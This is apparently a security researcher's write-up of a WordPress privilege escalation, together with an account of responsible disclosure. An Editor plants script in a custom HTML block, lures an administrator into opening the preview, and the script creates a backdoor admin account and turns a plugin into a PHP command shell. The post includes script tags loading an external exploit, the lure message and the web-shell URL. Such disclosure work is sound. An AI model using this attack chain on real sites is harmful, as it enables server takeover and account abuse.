This article is about how a WordPress Editor can use unfiltered HTML and some social engineering to gain administrative access to the WordPress site and pwn the server.
My first observation was that editors and administrators can add unfiltered HTML and JavaScript using the custom HTML block while creating a new page, or post. I logged in as an editor, created a new page and added as custom HTML. Then I logged in as an administrator and opened the preview of the page that I created as an editor. The JavaScript code got executed, and the alert box popped. This shows that an editor can get the administrator’s browser to execute JavaScript code and hence can perform actions as the administrator.
Next, I wanted to look at the capabilities that administrators have, that editors do not have. It is clearly listed in WordPress’s Roles and Capabilities page. Two major administrative capabilities are adding or removing users and installing plugins. By installing plugins, administrators can essentially execute PHP code on the server.
Proof of Concept
I wrote some JavaScript code which does the following when executed by the administrator’s browser.
Adds a new administrator with the credentials backdoor:pwned. Installs “Mortgage Calculator Plus” plugin. Edits the plugin’s source to add a simple PHP code that takes value from the parameter cmd, execute the commands on the server, and prints the output. WordPress needs a valid wpnonce value to be sent along with the requests. So in my exploit, I fetched the wpnonce value for each of the above actions from the DOM.
You can download my exploit here.
I logged in as editor and created a new page. I added the following JavaScript code in custom HTML block.
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script src="http://address/to/exploit.js"></script>
Now as an attacker, I want the administrator to open this page. Here comes the social engineering part. I send the administrator the following message.
“Hey, I just made an important edit to a page in the website. I’ve sent you the preview link. Please take a look“
The administrator opens the preview link and the code gets executed. Now, I can log in as an administrator with the backdoor account. I can execute commands on the webserver using this URL.
http://victim.com/wp-content/plugins/mortgage-calculator-plus/mc-plus.php?cmd=[command]
Pwned!
Responsible Disclosure
I reported this to WordPress. And their response is that there cannot be malicious editors because they are supposed to be trusted users in the first place. They also said that WordPress roles are not hierarchical. Administrators are not “greater than” editors, hence there is no “escalation” from editor to administrator.
In their Roles and Capabilities guide, it is shown that editors do not have the capabilities of administrators and super admins. Also, they have not mentioned that the editors are equivalent to administrators in terms of trust and privileges.
I personally know 2 people who work as editors in companies that run blogs. Their job is to edit the articles that authors are submitting and send preview links to the administrator before publishing if it’s an important article. While the companies trust them as editors, they definitely would not want to give them administrative access. I’m sure that there are lots of editors who work like this out there. I explained this to WordPress but they insisted that it is the fault of the operator to add editors who are not trusted enough to be administrators.
My suggestion to WordPress is to disable unfiltered HTML capability for the editors, by default. The administrator can enable it for editors if needed. That way, the administrator will be aware of the risks associated with adding a new editor.
Since WordPress did not accept this as a risk, I do not think they will try to fix it. So, it is advised to not add editors, who you would not add as administrators.